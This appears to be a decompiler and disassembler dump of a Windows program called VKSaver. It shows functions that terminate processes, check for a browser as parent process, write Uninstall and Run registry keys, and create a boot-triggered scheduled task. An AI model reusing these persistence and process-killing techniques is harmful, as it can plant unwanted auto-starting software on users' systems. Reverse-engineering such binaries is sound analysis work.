        while (iVar5 != 0) {
            if ((iStack_44 != 0x46b11c) && (&puStack_58 == ppuStack_34)) {
                *(&stack0x000009c4 + uVar11 * 4) = iStack_44;
                uVar11 = uVar11 + 1;
                if (0x1ff < uVar11) break;
            }
            iVar5 = (*kernel32.Process32NextW)();
        }
        (*kernel32.CloseHandle)();
        uVar12 = 0;
        if (uVar11 != 0) {
            do {
                iVar5 = (*kernel32.OpenProcess)();
                if (iVar5 != -1) {
                    (*kernel32.TerminateProcess)();
                    (*kernel32.CloseHandle)();
                }
                uVar12 = uVar12 + 1;
            } while (uVar12 < uVar11);
        }
    }
    (*kernel32.GetCommandLineW)();
    [0x0x4b2010] = 0x11;
    004b150c = (*kernel32.GetProcessHeap)();
    (*ole32.CoInitializeEx)();
    (*shell32.SHGetSpecialFolderPathW)();
    piVar8 = 0x4b1e10;
    do {
        piVar9 = piVar8;
        piVar8 = piVar9 + 1;
    } while (*piVar9 != 0);
    if (*((piVar9 + -0x258f08 >> 1) * 2 + 0x4b1e0e) != 0x5c) {
        _wcscat_s();
    }
    _wcscat_s();
    (*kernel32.CreateDirectoryW)();
    (*kernel32.GetShortPathNameW)();
    _wcscat_s();
    _wcscpy_s();
    _wcscpy_s();
    _wcscpy_s();
    _wcscat_s();
    _wcscat_s();
    _wcscat_s();
    _wcscat_s();
    _wcscat_s();
    iVar5 = _wcsstr();
    if (iVar5 != 0) {
        004b14ba = 1;
    }
    iVar5 = _wcsstr();
    if (iVar5 == 0) {
        iVar5 = sub_406290();
        if (iVar5 == 0) {
            uVar4 = (*kernel32.GetVersion)();
            if (uVar4 < 6) {
                (*user32.MessageBoxW)();
                goto code_r0x00406bce;
            }
            [0x0x4b1044] = 100;
        }
        else {
            [0x0x4b1044] = 0;
            iVar5 = (*kernel32.FindFirstFileW)();
            if (iVar5 != -1) {
                (*kernel32.FindClose)();
                cVar3 = sub_401060();
                if (cVar3 != '\0') {
                    (*version.GetFileVersionInfoW)();
                    (*version.VerQueryValueW)();
                    if ([0x0x14] == 0) {
                        [0x0x4b1044] = 0xffffffff;
/* listing truncated */
0x406090 sub_406090 str 13 api 2 imm 8 Unknown
sub_406090() {
    push         ebp
    mov          ebp, esp
    push         ecx
    push         esi
    mov          esi, ecx
    test         esi, esi
    jnz          .1
    mov          al, 0x01
    pop          esi
    mov          esp, ebp
    pop          ebp
    ret          
.1:
    push         edi
    push         0xFA000
    push         0x01
    call         _calloc()
    mov          edi, eax
    add          esp, 0x08
    test         edi, edi
    jz           .5
    push         "NtQuerySystemInformation"
    push         "ntdll.dll"
    call         [kernel32.GetModuleHandleW]
    push         eax
    call         [kernel32.GetProcAddress]
    test         eax, eax
    jz           .7
    lea          ecx, [ebp-0x04]
    push         ecx
    push         0xFA000
    push         edi
    push         0x05
    call         eax
    cmp          dword ptr [edi], 0x00
    mov          ecx, edi
    jz           .4
    lea          esp, [esp]
.2:
    cmp          [ecx+0x44], esi
    jz           .3
    add          ecx, [ecx]
    cmp          dword ptr [ecx], 0x00
    jnz          .2
    jmp          .4
.3:
    movzx        eax, word ptr [ecx+0x38]
    push         eax
    push         [ecx+0x3C]
    push         0x470C38
    call         _wcsncpy()
    add          esp, 0x0C
.4:
    push         edi
    call         _free()
    add          esp, 0x04
    cmp          word ptr [0x470C38], 0x00
    jnz          .6
.5:
    pop          edi
    xor          al, al
    pop          esi
    mov          esp, ebp
    pop          ebp
    ret          
.6:
    push         "vksaver.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jz           .7
    push         "explorer.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jz           .7
    push         "iexplore.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jz           .7
    push         "firefox.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jz           .7
    push         "opera.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jz           .7
    push         "chrome.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jz           .7
    push         "safari.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jz           .7
    push         "browser.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jz           .7
    push         "far.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jz           .7
    push         "totalcmd.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    jnz          .8
.7:
    pop          edi
    mov          al, 0x01
    pop          esi
    mov          esp, ebp
    pop          ebp
    ret          
.8:
    push         "totalcmd64.exe"
    push         0x470C38
    call         sub_406ed0()
    add          esp, 0x08
    test         eax, eax
    pop          edi
    setz         al
    pop          esi
    mov          esp, ebp
    pop          ebp
    ret          
}

/* DISPLAY WARNING: Type casts are NOT being printed */

bool __fastcall sub_406090(int32_t param_1)

{
    int32_t *piVar1;
    undefined4 uVar2;
    code *pcVar3;
    int32_t iVar4;
    int32_t *piVar5;
    int32_t iStack_8;
    
    if (param_1 == 0) {
        return true;
    }
    iStack_8 = param_1;
    piVar1 = _calloc(1, 0xfa000);
    if (piVar1 == 0x0) {
        return false;
    }
    uVar2 = (*kernel32.GetModuleHandleW)("ntdll.dll", "NtQuerySystemInformation");
    pcVar3 = (*kernel32.GetProcAddress)(uVar2);
    if (pcVar3 != 0x0) {
        (*pcVar3)(5, piVar1, 0xfa000, &iStack_8);
        iVar4 = *piVar1;
        piVar5 = piVar1;
        while (iVar4 != 0) {
            if (piVar5[0x11] == param_1) {
                _wcsncpy(0x470c38, piVar5[0xf], *(piVar5 + 0xe));
                break;
            }
            piVar5 = piVar5 + *piVar5;
            iVar4 = *piVar5;
        }
        _free(piVar1);
        if ([0x0x470c38] == 0) {
            return false;
        }
        iVar4 = sub_406ed0(0x470c38, "vksaver.exe");
        if ((((((iVar4 != 0) && (iVar4 = sub_406ed0(0x470c38, "explorer.exe"), iVar4 != 0)) &&
              (iVar4 = sub_406ed0(0x470c38, "iexplore.exe"), iVar4 != 0)) &&
             ((iVar4 = sub_406ed0(0x470c38, "firefox.exe"), iVar4 != 0 &&
              (iVar4 = sub_406ed0(0x470c38, "opera.exe"), iVar4 != 0)))) &&
            ((iVar4 = sub_406ed0(0x470c38, "chrome.exe"), iVar4 != 0 &&
             ((iVar4 = sub_406ed0(0x470c38, "safari.exe"), iVar4 != 0 &&
              (iVar4 = sub_406ed0(0x470c38, "browser.exe"), iVar4 != 0)))))) &&
           ((iVar4 = sub_406ed0(0x470c38, "far.exe"), iVar4 != 0 && (iVar4 = sub_406ed0(0x470c38, "totalcmd.exe"), iVar4 != 0))
           )) {
            iVar4 = sub_406ed0(0x470c38, "totalcmd64.exe");
            return iVar4 == 0;
        }
    }
    return true;
}
0x401240 sub_401240 str 10 api 3 imm 9 Unknown
sub_401240() {
    push         ebp
    mov          ebp, esp
    sub          esp, 0x208
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    push         0x00
    lea          eax, [ebp-0x208]
    push         eax
    push         0x00
    push         0x20006
    push         0x00
    push         0x00
    push         0x00
    push         "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VKSaver"
    push         0x80000002
    call         [advapi32.RegCreateKeyExW]
    test         eax, eax
    jz           .1
    xor          al, al
    mov          ecx, [ebp-0x04]
    xor          ecx, ebp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
.1:
    push         edi
    mov          edi, [user32.wsprintfW]
    lea          eax, [ebp-0x204]
    push         "VKSaver"
    push         eax
    call         edi
    lea          ecx, [ebp-0x204]
    add          esp, 0x08
    lea          edx, [ecx+0x02]
    mov          edi, edi
.2:
    mov          ax, [ecx]
    add          ecx, 0x02
    test         ax, ax
    jnz          .2
    sub          ecx, edx
    sar          ecx, 0x01
    lea          ecx, [ecx*2+0x02]
    lea          eax, [ecx+ecx*1]
    cmp          eax, 0x200
    jnb          .10
    push         esi
    mov          esi, [advapi32.RegSetValueExW]
    xor          edx, edx
    push         ecx
    mov          [ebp+eax*1-0x204], dx
    lea          eax, [ebp-0x204]
    push         eax
    push         0x01
    push         edx
    push         "DisplayName"
    push         [ebp-0x208]
    call         esi
    test         eax, eax
    jnz          .6
    push         0x4B1A10
    lea          eax, [ebp-0x204]
    push         "\"%s\""
    push         eax
    call         edi
    lea          ecx, [ebp-0x204]
    add          esp, 0x0C
    lea          edx, [ecx+0x02]
.3:
    mov          ax, [ecx]
    add          ecx, 0x02
    test         ax, ax
    jnz          .3
    sub          ecx, edx
    sar          ecx, 0x01
    lea          ecx, [ecx*2+0x02]
    lea          eax, [ecx+ecx*1]
    cmp          eax, 0x200
    jnb          .10
    xor          edx, edx
    push         ecx
    mov          [ebp+eax*1-0x204], dx
    lea          eax, [ebp-0x204]
    push         eax
    push         0x01
    push         edx
    push         "DisplayIcon"
    push         [ebp-0x208]
    call         esi
    test         eax, eax
    jnz          .6
    push         0x4B1A10
    lea          eax, [ebp-0x204]
    push         "\"%s\" -uninstall"
    push         eax
    call         edi
    lea          ecx, [ebp-0x204]
    add          esp, 0x0C
    lea          edx, [ecx+0x02]
.4:
    mov          ax, [ecx]
    add          ecx, 0x02
    test         ax, ax
    jnz          .4
    sub          ecx, edx
    sar          ecx, 0x01
    lea          ecx, [ecx*2+0x02]
    lea          eax, [ecx+ecx*1]
    cmp          eax, 0x200
    jnb          .10
    xor          edx, edx
    push         ecx
    mov          [ebp+eax*1-0x204], dx
    lea          eax, [ebp-0x204]
    push         eax
    push         0x01
    push         edx
    push         "UninstallString"
    push         [ebp-0x208]
    call         esi
    test         eax, eax
    jnz          .6
    push         0x4B1A10
    lea          eax, [ebp-0x204]
    push         0x46AFBC
    push         eax
    call         edi
    lea          ecx, [ebp-0x204]
    add          esp, 0x0C
    lea          edx, [ecx+0x02]
    lea          ebx, [ebx]
.5:
    mov          ax, [ecx]
    add          ecx, 0x02
    test         ax, ax
    jnz          .5
    sub          ecx, edx
    sar          ecx, 0x01
    lea          ecx, [ecx*2+0x02]
    lea          eax, [ecx+ecx*1]
    cmp          eax, 0x200
    jnb          .10
    xor          edx, edx
    push         ecx
    mov          [ebp+eax*1-0x204], dx
    lea          eax, [ebp-0x204]
    push         eax
    push         0x01
    push         edx
    push         "Publisher"
    push         [ebp-0x208]
    call         esi
    test         eax, eax
    jz           .8
.6:
    push         [ebp-0x208]
.7:
    call         [advapi32.RegCloseKey]
    pop          esi
    xor          al, al
    pop          edi
    mov          ecx, [ebp-0x04]
    xor          ecx, ebp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
.8:
    push         [0x4B1508]
    lea          eax, [ebp-0x204]
    push         [0x4B1504]
    push         [0x4B1500]
    push         [0x4B14FC]
    push         "%d.%d.%d.%d"
    push         eax
    call         edi
    lea          ecx, [ebp-0x204]
    add          esp, 0x18
    lea          edx, [ecx+0x02]
    lea          ebx, [ebx]
.9:
    mov          ax, [ecx]
    add          ecx, 0x02
    test         ax, ax
    jnz          .9
    sub          ecx, edx
    sar          ecx, 0x01
    lea          ecx, [ecx*2+0x02]
    lea          eax, [ecx+ecx*1]
    cmp          eax, 0x200
    jnb          .10
    xor          edx, edx
    push         ecx
    mov          [ebp+eax*1-0x204], dx
    lea          eax, [ebp-0x204]
    push         eax
    push         0x01
    push         edx
    push         "DisplayVersion"
    push         [ebp-0x208]
    call         esi
    push         [ebp-0x208]
    test         eax, eax
    jnz          .7
    call         [advapi32.RegCloseKey]
    mov          ecx, [ebp-0x04]
    pop          esi
    xor          ecx, ebp
    mov          al, 0x01
    pop          edi
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
.10:
    call         ___report_rangecheckfailure()
}

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_401240(void)

{
    int16_t iVar1;
    code *pcVar2;
    uint32_t uVar3;
    code *pcVar4;
    int32_t iVar5;
    int16_t *piVar6;
    undefined4 uStack_20c;
    int16_t iStack_208;
    undefined auStack_206 [510];
    uint32_t uStack_8;
    
    uStack_8 = [0x0x46f000#SecurityCookie] ^ &stack0xfffffffc;
    iVar5 = (*advapi32.RegCreateKeyExW)(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VKSaver", 0, 0, 0, 0x20006, 0, &uStack_20c, 0);
    pcVar2 = user32.wsprintfW;
    if (iVar5 != 0) {
        sub_406beb();
        return;
    }
    (*user32.wsprintfW)(&iStack_208, "VKSaver");
    pcVar4 = advapi32.RegSetValueExW;
    piVar6 = &iStack_208;
    do {
        iVar1 = *piVar6;
        piVar6 = piVar6 + 1;
    } while (iVar1 != 0);
    iVar5 = (piVar6 - auStack_206 >> 1) * 2 + 2;
    uVar3 = iVar5 * 2;
    if (uVar3 < 0x200) {
        *(auStack_206 + (uVar3 - 2)) = 0;
        iVar5 = (*advapi32.RegSetValueExW)(uStack_20c, "DisplayName", 0, 1, &iStack_208, iVar5);
        if (iVar5 == 0) {
            (*pcVar2)(&iStack_208, "\"%s\"", 0x4b1a10);
            piVar6 = &iStack_208;
            do {
                iVar1 = *piVar6;
                piVar6 = piVar6 + 1;
            } while (iVar1 != 0);
            iVar5 = (piVar6 - auStack_206 >> 1) * 2 + 2;
            uVar3 = iVar5 * 2;
            if (0x1ff < uVar3) goto code_r0x00401508;
            *(auStack_206 + (uVar3 - 2)) = 0;
            iVar5 = (*pcVar4)(uStack_20c, "DisplayIcon", 0, 1, &iStack_208, iVar5);
            if (iVar5 == 0) {
                (*pcVar2)(&iStack_208, "\"%s\" -uninstall", 0x4b1a10);
                piVar6 = &iStack_208;
                do {
                    iVar1 = *piVar6;
                    piVar6 = piVar6 + 1;
                } while (iVar1 != 0);
                iVar5 = (piVar6 - auStack_206 >> 1) * 2 + 2;
                uVar3 = iVar5 * 2;
                if (0x1ff < uVar3) goto code_r0x00401508;
                *(auStack_206 + (uVar3 - 2)) = 0;
                iVar5 = (*pcVar4)(uStack_20c, "UninstallString", 0, 1, &iStack_208, iVar5);
                if (iVar5 == 0) {
                    (*pcVar2)(&iStack_208, 0x46afbc, 0x4b1a10);
                    piVar6 = &iStack_208;
                    do {
                        iVar1 = *piVar6;
                        piVar6 = piVar6 + 1;
                    } while (iVar1 != 0);
                    iVar5 = (piVar6 - auStack_206 >> 1) * 2 + 2;
                    uVar3 = iVar5 * 2;
                    if (0x1ff < uVar3) goto code_r0x00401508;
                    *(auStack_206 + (uVar3 - 2)) = 0;
                    iVar5 = (*pcVar4)(uStack_20c, "Publisher", 0, 1, &iStack_208, iVar5);
                    if (iVar5 == 0) {
                        (*pcVar2)(&iStack_208, "%d.%d.%d.%d", [0x0x4b14fc], [0x0x4b1500], [0x0x4b1504], [0x0x4b1508]);
                        piVar6 = &iStack_208;
                        do {
                            iVar1 = *piVar6;
                            piVar6 = piVar6 + 1;
                        } while (iVar1 != 0);
                        iVar5 = (piVar6 - auStack_206 >> 1) * 2 + 2;
                        uVar3 = iVar5 * 2;
                        if (0x1ff < uVar3) goto code_r0x00401508;
                        *(auStack_206 + (uVar3 - 2)) = 0;
                        iVar5 = (*pcVar4)(uStack_20c, "DisplayVersion", 0, 1, &iStack_208, iVar5);
                        if (iVar5 == 0) {
                            (*advapi32.RegCloseKey)(uStack_20c);
                            sub_406beb();
                            return;
                        }
                    }
                }
            }
        }
        (*advapi32.RegCloseKey)(uStack_20c);
        sub_406beb();
        return;
    }
code_r0x00401508:
    ___report_rangecheckfailure();
    pcVar2 = swi(3);
    (*pcVar2)();
    return;
}
0x4029B0 sub_4029b0 str 7 api 7 imm 10 Unknown
sub_4029b0() {
    push         ebp
    mov          ebp, esp
    sub          esp, 0xA20
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    lea          eax, [ebp-0xA1C]
    push         eax
    push         0x02
    push         0x00
    push         "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
    push         0x80000002
    call         [advapi32.RegOpenKeyExW]
    test         eax, eax
    jnz          .1
    push         "VKSaverUpdater"
    push         [ebp-0xA1C]
    call         [advapi32.RegDeleteValueW]
    push         [ebp-0xA1C]
    call         [advapi32.RegCloseKey]
.1:
    lea          eax, [ebp-0xA1C]
    push         eax
    push         0x01
    push         0x00
    push         "SOFTWARE\\VKSaver"
    push         0x80000002
    call         [advapi32.RegOpenKeyExW]
    test         eax, eax
    jz           .2
    mov          byte ptr [0x4B14BA], 0x00
    mov          ecx, [ebp-0x04]
    xor          ecx, ebp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
.2:
    push         0x400
    lea          eax, [ebp-0xA18]
    push         0x00
    push         eax
    mov          dword ptr [ebp-0xA20], 0x400
    call         _memset()
    add          esp, 0x0C
    lea          eax, [ebp-0xA20]
    push         eax
    lea          eax, [ebp-0xA18]
    push         eax
    push         0x00
    push         0x00
    push         "Install_Dir"
    push         [ebp-0xA1C]
    call         [advapi32.RegQueryValueExW]
    push         [ebp-0xA1C]
    call         [advapi32.RegCloseKey]
    xor          ecx, ecx
    jmp          .3
.3:
    movzx        eax, word ptr [ecx+"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VKSaver"]
    mov          [ebp+ecx*1-0x618], ax
    lea          ecx, [ecx+0x02]
    test         ax, ax
    jnz          .3
    lea          edx, [ebp-0x618]
    mov          ecx, 0x80000002
    call         sub_402820()
    xor          edx, edx
    lea          esp, [esp]
.4:
    movzx        eax, word ptr [edx+"SOFTWARE\\VKSaver"]
    mov          [ebp+edx*1-0x618], ax
    lea          edx, [edx+0x02]
    test         ax, ax
    jnz          .4
    lea          edx, [ebp-0x618]
    mov          ecx, 0x80000002
    call         sub_402820()
    cmp          word ptr [ebp-0xA18], 0x00
    jz           .5
    push         0x00
    lea          ecx, [ebp-0xA18]
    call         sub_4025e0()
    add          esp, 0x04
    jmp          .6
.5:
    mov          byte ptr [0x4B14BA], 0x00
.6:
    push         0x00
    push         0x17
    lea          eax, [ebp-0x208]
    push         eax
    push         0x00
    call         [shell32.SHGetSpecialFolderPathW]
    push         "\\VKSaver"
    lea          eax, [ebp-0x208]
    push         0x100
    push         eax
    call         _wcscat_s()
    add          esp, 0x0C
    lea          ecx, [ebp-0x208]
    push         0x01
    call         sub_4025e0()
    mov          ecx, [ebp-0x04]
    xor          ecx, ebp
    add          esp, 0x04
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
}

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_4029b0(void)

{
    int16_t iVar1;
    int32_t iVar2;
    undefined4 uStack_a24;
    undefined4 uStack_a20;
    int16_t aiStack_a1c [512];
    int16_t aiStack_61c [520];
    undefined auStack_20c [516];
    uint32_t uStack_8;
    
    uStack_8 = [0x0x46f000#SecurityCookie] ^ &stack0xfffffffc;
    iVar2 = (*advapi32.RegOpenKeyExW)(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 2, &uStack_a20);
    if (iVar2 == 0) {
        (*advapi32.RegDeleteValueW)(uStack_a20, "VKSaverUpdater");
        (*advapi32.RegCloseKey)(uStack_a20);
    }
    iVar2 = (*advapi32.RegOpenKeyExW)(0x80000002, "SOFTWARE\\VKSaver", 0, 1, &uStack_a20);
    if (iVar2 != 0) {
        [0x0x4b14ba] = 0;
        sub_406beb();
        return;
    }
    uStack_a24 = 0x400;
    _memset(aiStack_a1c, 0, 0x400);
    (*advapi32.RegQueryValueExW)(uStack_a20, "Install_Dir", 0, 0, aiStack_a1c, &uStack_a24);
    (*advapi32.RegCloseKey)(uStack_a20);
    iVar2 = 0;
    do {
        iVar1 = *(iVar2 + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\VKSaver");
        *(aiStack_61c + iVar2) = iVar1;
        iVar2 = iVar2 + 2;
    } while (iVar1 != 0);
    sub_402820();
    iVar2 = 0;
    do {
        iVar1 = *(iVar2 + "SOFTWARE\\VKSaver");
        *(aiStack_61c + iVar2) = iVar1;
        iVar2 = iVar2 + 2;
    } while (iVar1 != 0);
    sub_402820();
    if (aiStack_a1c[0] == 0) {
        [0x0x4b14ba] = 0;
    }
    else {
        sub_4025e0(0);
    }
    (*shell32.SHGetSpecialFolderPathW)(0, auStack_20c, 0x17, 0);
    _wcscat_s(auStack_20c, 0x100, "\\VKSaver");
    sub_4025e0(1);
    sub_406beb();
    return;
}
0x401BD0 sub_401bd0 str 7 api 5 imm 10 Unknown
sub_401bd0() {
    push         ebp
    mov          ebp, esp
    sub          esp, 0xA4
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    movq         xmm0, qword ptr [0x46AD78]
    push         ebx
    xor          eax, eax
    movq         [ebp-0x24], xmm0
    movq         xmm0, qword ptr [0x46AD80]
    push         0x02
    push         eax
    mov          bl, cl
    mov          dword ptr [ebp-0x50], 0x00
    mov          dword ptr [ebp-0x4C], 0x00
    mov          dword ptr [ebp-0x5C], 0x00
    mov          dword ptr [ebp-0x54], 0x00
    mov          [ebp-0xA0], ax
    movq         [ebp-0x1C], xmm0
    call         [ole32.CoInitializeEx]
    push         0x00
    push         0x00
    push         0x00
    push         0x03
    push         0x06
    push         0x00
    push         0x00
    push         0xFFFFFFFF
    push         0x00
    call         [ole32.CoInitializeSecurity]
    movq         xmm0, qword ptr [ITaskService]
    lea          eax, [ebp-0x50]
    push         eax
    lea          eax, [ebp-0x44]
    push         eax
    push         0x01
    movq         [ebp-0x44], xmm0
    movq         xmm0, qword ptr [0x46AD90]
    push         0x00
    lea          eax, [ebp-0x24]
    push         eax
    movq         [ebp-0x3C], xmm0
    call         [ole32.CoCreateInstance]
    mov          edx, [ebp-0x50]
    test         edx, edx
    jnz          .2
.1:
    xor          al, al
    pop          ebx
    mov          ecx, [ebp-0x04]
    xor          ecx, ebp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          
.2:
    movq         xmm0, qword ptr [ebp-0xA0]
    movq         xmm1, qword ptr [ebp-0x98]
    mov          ecx, [edx]
    sub          esp, 0x10
    mov          eax, esp
    sub          esp, 0x10
    movq         [eax], xmm0
    movq         [eax+0x08], xmm1
    mov          eax, esp
    sub          esp, 0x10
    movq         [eax], xmm0
    movq         [eax+0x08], xmm1
    mov          eax, esp
    sub          esp, 0x10
    movq         [eax], xmm0
    movq         [eax+0x08], xmm1
    mov          eax, esp
    push         edx
    movq         [eax], xmm0
    movq         [eax+0x08], xmm1
    call         [ecx+0x28]
    mov          eax, [ebp-0x50]
    lea          edx, [ebp-0x4C]
    mov          ecx, [eax]
    push         edx
    push         0x46B11C
    push         eax
    call         [ecx+0x1C]
    mov          eax, [ebp-0x4C]
    push         0x00
    mov          ecx, [eax]
    push         "VKSaver"
    push         eax
    call         [ecx+0x3C]
    mov          eax, [ebp-0x4C]
    push         0x00
    mov          ecx, [eax]
    push         "VKSaverUpdate"
    push         eax
    call         [ecx+0x3C]
    mov          eax, [ebp-0x50]
    lea          edx, [ebp-0x48]
    mov          ecx, [eax]
    push         edx
    push         0x00
    push         eax
    call         [ecx+0x24]
    mov          eax, [ebp-0x50]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x08]
    mov          eax, [ebp-0x48]
    lea          edx, [ebp-0x58]
    mov          ecx, [eax]
    push         edx
    push         eax
    call         [ecx+0x1C]
    mov          eax, [ebp-0x58]
    push         "AudioVkontakte.ru"
    mov          ecx, [eax]
    push         eax
    call         [ecx+0x28]
    mov          eax, [ebp-0x58]
    push         0x46B148
    mov          ecx, [eax]
    push         eax
    call         [ecx+0x20]
    mov          eax, [ebp-0x58]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x08]
    mov          eax, [ebp-0x48]
    lea          edx, [ebp-0x74]
    mov          ecx, [eax]
    push         edx
    push         eax
    call         [ecx+0x2C]
    mov          eax, [ebp-0x74]
    push         0x01
    mov          ecx, [eax]
    push         eax
    call         [ecx+0x58]
    mov          eax, [ebp-0x74]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x08]
    mov          eax, [ebp-0x48]
    lea          edx, [ebp-0x6C]
    mov          ecx, [eax]
    push         edx
    push         eax
    call         [ecx+0x24]
    mov          eax, [ebp-0x6C]
    lea          edx, [ebp-0x78]
    push         edx
    mov          dword ptr [ebp-0x60], 0x00
    mov          ecx, [eax]
    push         0x08
    push         eax
    call         [ecx+0x28]
    mov          eax, [ebp-0x6C]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x08]
    movq         xmm0, qword ptr [IBootTrigger]
    mov          eax, [ebp-0x78]
    lea          edx, [ebp-0x60]
    push         edx
    movq         [ebp-0x14], xmm0
    movq         xmm0, qword ptr [0x46ADA0]
    lea          edx, [ebp-0x14]
    movq         [ebp-0x0C], xmm0
    mov          ecx, [eax]
    push         edx
    push         eax
    call         [ecx]
    mov          eax, [ebp-0x78]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x08]
    mov          ecx, [ebp-0x60]
    test         ecx, ecx
    jz           .1
    mov          eax, [ecx]
    push         0x46B18C
    push         ecx
    call         [eax+0x24]
    mov          eax, [ebp-0x48]
    lea          edx, [ebp-0x7C]
    mov          ecx, [eax]
    push         edx
    push         eax
    call         [ecx+0x3C]
    mov          eax, [ebp-0x7C]
    push         0x01
    mov          ecx, [eax]
    push         eax
    call         [ecx+0x48]
    mov          eax, [ebp-0x48]
    lea          edx, [ebp-0x68]
    mov          ecx, [eax]
    push         edx
    push         eax
    call         [ecx+0x44]
    mov          eax, [ebp-0x68]
    lea          edx, [ebp-0x64]
    mov          ecx, [eax]
    push         edx
    push         0x00
    push         eax
    call         [ecx+0x30]
    mov          eax, [ebp-0x68]
    push         eax
    mov          ecx, [eax]
    call         [ecx+0x08]
    movq         xmm0, qword ptr [IExecAction]
    mov          eax, [ebp-0x64]
    lea          edx, [ebp-0x54]
    push         edx
    movq         [ebp-0x34], xmm0
    movq         xmm0, qword ptr [0x46AD20]
    lea          edx, [ebp-0x34]
; listing truncated

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

/* DISPLAY WARNING: Type casts are NOT being printed */

void __fastcall sub_401bd0(char param_1)

{
    undefined4 uVar1;
    undefined4 uVar2;
    int32_t *piVar3;
    int64_t iVar4;
    undefined8 uVar5;
    undefined4 uVar6;
    undefined4 uVar7;
    undefined4 uVar8;
    undefined4 uVar9;
    undefined4 uVar10;
    undefined4 uVar11;
    undefined8 uVar12;
    int64_t iVar13;
    undefined8 uVar14;
    unkuint6 Stack_a2;
    undefined8 uStack_9c;
    unkbyte6 Stack_92;
    undefined4 uStack_88;
    int32_t *piStack_80;
    int32_t *piStack_7c;
    int32_t *piStack_78;
    int32_t *piStack_74;
    int32_t *piStack_70;
    int32_t *piStack_6c;
    int32_t *piStack_68;
    int32_t *piStack_64;
    int32_t *piStack_60;
    int32_t *piStack_5c;
    int32_t *piStack_58;
    int32_t *piStack_54;
    int32_t *piStack_50;
    int32_t *piStack_4c;
    undefined8 uStack_48;
    undefined8 uStack_40;
    undefined8 uStack_38;
    undefined8 uStack_30;
    undefined8 uStack_28;
    undefined8 uStack_20;
    undefined8 uStack_18;
    undefined8 uStack_10;
    uint32_t uStack_8;
    
    uStack_8 = [0x0x46f000#SecurityCookie] ^ &stack0xfffffffc;
    uStack_28 = [0x0x46ad78];
    piStack_54 = 0x0;
    piStack_50 = 0x0;
    piStack_60 = 0x0;
    piStack_58 = 0x0;
    uStack_20 = [0x0x46ad80];
    (*ole32.CoInitializeEx)(0, 2);
    (*ole32.CoInitializeSecurity)(0, 0xffffffff, 0, 0, 6, 3, 0, 0, 0);
    uStack_48 = ITaskService;
    uStack_40 = [0x0x46ad90];
    (*ole32.CoCreateInstance)(&uStack_28, 0, 1, &uStack_48, &piStack_54);
    if (piStack_54 != 0x0) {
        iVar4 = Stack_a2 << 0x10;
        uVar8 = iVar4;
        uVar10 = Stack_a2 >> 0x10;
        uVar6 = uStack_9c >> 0x20;
        uVar5 = uStack_9c;
        uVar1 = uVar10;
        uVar2 = uStack_9c;
        uVar7 = uVar6;
        uVar9 = uVar8;
        uVar11 = uVar10;
        uVar12 = uStack_9c;
        iVar13 = iVar4;
        uVar14 = uStack_9c;
        piVar3 = piStack_54;
        (**(*piStack_54 + 0x28))();
        (**(*piStack_54 + 0x1c))
                  (piStack_54, 0x46b11c, &piStack_50, piVar3, iVar4, uVar5, uVar8, uVar1, uVar2, uVar7, uVar9, uVar11, 
                   uVar12, iVar13, uVar14);
        (**(*piStack_50 + 0x3c))(piStack_50, "VKSaver", 0);
        uVar2 = 0;
        uVar1 = "VKSaverUpdate";
        piVar3 = piStack_50;
        (**(*piStack_50 + 0x3c))();
        (**(*piStack_54 + 0x24))(piStack_54, 0, &piStack_4c, piVar3, uVar1, uVar2);
        (**(*piStack_54 + 8))(piStack_54);
        (**(*piStack_4c + 0x1c))(piStack_4c, &piStack_5c);
        (**(*piStack_5c + 0x28))(piStack_5c, "AudioVkontakte.ru");
        (**(*piStack_5c + 0x20))(piStack_5c, 0x46b148);
        (**(*piStack_5c + 8))(piStack_5c);
        (**(*piStack_4c + 0x2c))(piStack_4c, &piStack_78);
        (**(*piStack_78 + 0x58))(piStack_78, 1);
        (**(*piStack_78 + 8))(piStack_78);
        (**(*piStack_4c + 0x24))(piStack_4c, &piStack_70);
        piStack_64 = 0x0;
        (**(*piStack_70 + 0x28))(piStack_70, 8, &piStack_7c);
        (**(*piStack_70 + 8))(piStack_70);
        uStack_18 = IBootTrigger;
        uStack_10 = [0x0x46ada0];
        (***piStack_7c)(piStack_7c, &uStack_18, &piStack_64);
